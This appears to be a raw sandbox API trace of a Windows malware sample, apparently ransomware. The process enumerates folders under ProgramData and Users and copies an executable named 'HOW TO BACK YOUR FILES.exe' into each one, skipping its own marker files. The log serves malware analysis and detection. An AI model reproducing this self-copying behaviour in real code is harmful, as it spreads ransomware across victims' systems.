	[0039.160] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE", cAlternateFileName="")) returned 1
	[0039.160] lstrcmpiW (lpString1="OFFICE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.160] lstrcmpiW (lpString1="OFFICE", lpString2="Apollon865.txt.exe") returned 1
	[0039.160] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="OFFICE" | out: lpString1="OFFICE") returned="OFFICE"
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc88
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5bdfc8
	[0039.160] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc90 | out: ListHead=0x5b76b0, ListEntry=0x59fc90) returned 0x59fc70
	[0039.160] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x50ea0e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xfa44d4a0, ftLastAccessTime.dwHighDateTime=0x1d305fd, ftLastWriteTime.dwLowDateTime=0xfa44d4a0, ftLastWriteTime.dwHighDateTime=0x1d305fd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1
	[0039.160] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.160] lstrcmpiW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="Apollon865.txt.exe") returned 1
	[0039.160] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="OfficeSoftwareProtectionPlatform" | out: lpString1="OfficeSoftwareProtectionPlatform") returned="OfficeSoftwareProtectionPlatform"
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fca8
	[0039.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7c) returned 0x5bf568
	[0039.160] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcb0 | out: ListHead=0x5b76b0, ListEntry=0x59fcb0) returned 0x59fc90
	[0039.160] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RAC", cAlternateFileName="")) returned 1
	[0039.160] lstrcmpiW (lpString1="RAC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.160] lstrcmpiW (lpString1="RAC", lpString2="Apollon865.txt.exe") returned 1
	[0039.161] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="RAC" | out: lpString1="RAC") returned="RAC"
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fcc8
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x42) returned 0x5be018
	[0039.161] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcd0 | out: ListHead=0x5b76b0, ListEntry=0x59fcd0) returned 0x59fcb0
	[0039.161] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27df8b60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27df8b60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27df8b60, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Search", cAlternateFileName="")) returned 1
	[0039.161] lstrcmpiW (lpString1="Search", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.161] lstrcmpiW (lpString1="Search", lpString2="Apollon865.txt.exe") returned 1
	[0039.161] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Search" | out: lpString1="Search") returned="Search"
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x48) returned 0x5be068
	[0039.161] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0039.161] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x29423840, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29423840, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="User Account Pictures", cAlternateFileName="USERAC~1")) returned 1
	[0039.161] lstrcmpiW (lpString1="User Account Pictures", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.161] lstrcmpiW (lpString1="User Account Pictures", lpString2="Apollon865.txt.exe") returned 1
	[0039.161] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="User Account Pictures" | out: lpString1="User Account Pictures") returned="User Account Pictures"
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x66) returned 0x599a78
	[0039.161] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0039.161] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1
	[0039.161] lstrcmpiW (lpString1="Vault", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.161] lstrcmpiW (lpString1="Vault", lpString2="Apollon865.txt.exe") returned 1
	[0039.161] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Vault" | out: lpString1="Vault") returned="Vault"
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd28
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5be0b8
	[0039.161] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd30 | out: ListHead=0x5b76b0, ListEntry=0x59fd30) returned 0x59fd10
	[0039.161] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1
	[0039.161] lstrcmpiW (lpString1="VISIO", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.161] lstrcmpiW (lpString1="VISIO", lpString2="Apollon865.txt.exe") returned 1
	[0039.161] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="VISIO" | out: lpString1="VISIO") returned="VISIO"
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd48
	[0039.161] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x46) returned 0x5be108
	[0039.161] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd50 | out: ListHead=0x5b76b0, ListEntry=0x59fd50) returned 0x59fd30
	[0039.161] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1
	[0039.161] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.162] lstrcmpiW (lpString1="Windows", lpString2="Apollon865.txt.exe") returned 1
	[0039.162] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Windows Defender" | out: lpString1="Windows Defender") returned="Windows Defender"
	[0039.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd68
	[0039.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5458
	[0039.162] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd70 | out: ListHead=0x5b76b0, ListEntry=0x59fd70) returned 0x59fd50
	[0039.162] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1
	[0039.162] lstrcmpiW (lpString1="Windows NT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.162] lstrcmpiW (lpString1="Windows NT", lpString2="Apollon865.txt.exe") returned 1
	[0039.162] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="Windows NT" | out: lpString1="Windows NT") returned="Windows NT"
	[0039.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0039.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x50) returned 0x5bca10
	[0039.162] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0039.162] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 1
	[0039.162] lstrcmpiW (lpString1="WwanSvc", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.162] lstrcmpiW (lpString1="WwanSvc", lpString2="Apollon865.txt.exe") returned 1
	[0039.162] lstrcpyW (in: lpString1=0x2d3e58a, lpString2="WwanSvc" | out: lpString1="WwanSvc") returned="WwanSvc"
	[0039.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0039.162] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x4a) returned 0x5bca68
	[0039.162] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0039.162] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WwanSvc", cAlternateFileName="")) returned 0
	[0039.162] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.162] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0039.162] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc"
	[0039.162] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca68 | out: hHeap=0x580000) returned 1
	[0039.162] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0039.162] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned 36
	[0039.162] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc" | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc"
	[0039.162] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.162] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.167] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.167] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.167] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.167] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.167] lstrcpyW (in: lpString1=0x2d3e59a, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles"
	[0039.167] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0039.168] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5528
	[0039.168] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0039.168] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0039.168] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.168] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0039.168] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles"
	[0039.168] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0039.168] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0039.168] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned 45
	[0039.168] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles" | out: lpString1="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles") returned="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles"
	[0039.168] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.168] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\wwansvc\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0039.169] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0039.169] GetLastError () returned 0x0
	[0039.169] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5cafb8
	[0039.169] ReadFile (in: hFile=0x154, lpBuffer=0x5cafb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5cafb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0039.169] CloseHandle (hObject=0x154) returned 1
	[0039.169] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cafb8 | out: hHeap=0x580000) returned 1
	[0039.169] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.169] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\WwanSvc\\Profiles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7fffaad0, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7fffaad0, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.169] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.169] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.170] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT"
	[0039.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bca10 | out: hHeap=0x580000) returned 1
	[0039.170] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0039.170] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT") returned 39
	[0039.170] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT") returned="C:\\Users\\All Users\\Microsoft\\Windows NT"
	[0039.170] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.170] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.175] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.175] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f7434b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f7434b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.175] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.175] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.175] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSFax" | out: lpString1="MSFax") returned="MSFax"
	[0039.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd88
	[0039.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5c) returned 0x5c5528
	[0039.175] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd90 | out: ListHead=0x5b76b0, ListEntry=0x59fd90) returned 0x59fd70
	[0039.175] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 1
	[0039.175] lstrcmpiW (lpString1="MSScan", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0039.175] lstrcmpiW (lpString1="MSScan", lpString2="Apollon865.txt.exe") returned 1
	[0039.175] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSScan" | out: lpString1="MSScan") returned="MSScan"
	[0039.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fda8
	[0039.175] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x5e) returned 0x5c5590
	[0039.175] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fdb0 | out: ListHead=0x5b76b0, ListEntry=0x59fdb0) returned 0x59fd90
	[0039.175] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80340916, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80340916, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSScan", cAlternateFileName="")) returned 0
	[0039.175] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.175] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x59fdb0
	[0039.175] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan"
	[0039.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5590 | out: hHeap=0x580000) returned 1
	[0039.175] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fda8 | out: hHeap=0x580000) returned 1
	[0039.176] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned 46
	[0039.176] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan") returned="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan"
	[0039.176] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.176] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\windows nt\\msscan\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.190] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.190] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows NT\\MSScan\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x2f769610, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f769610, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.190] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.190] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
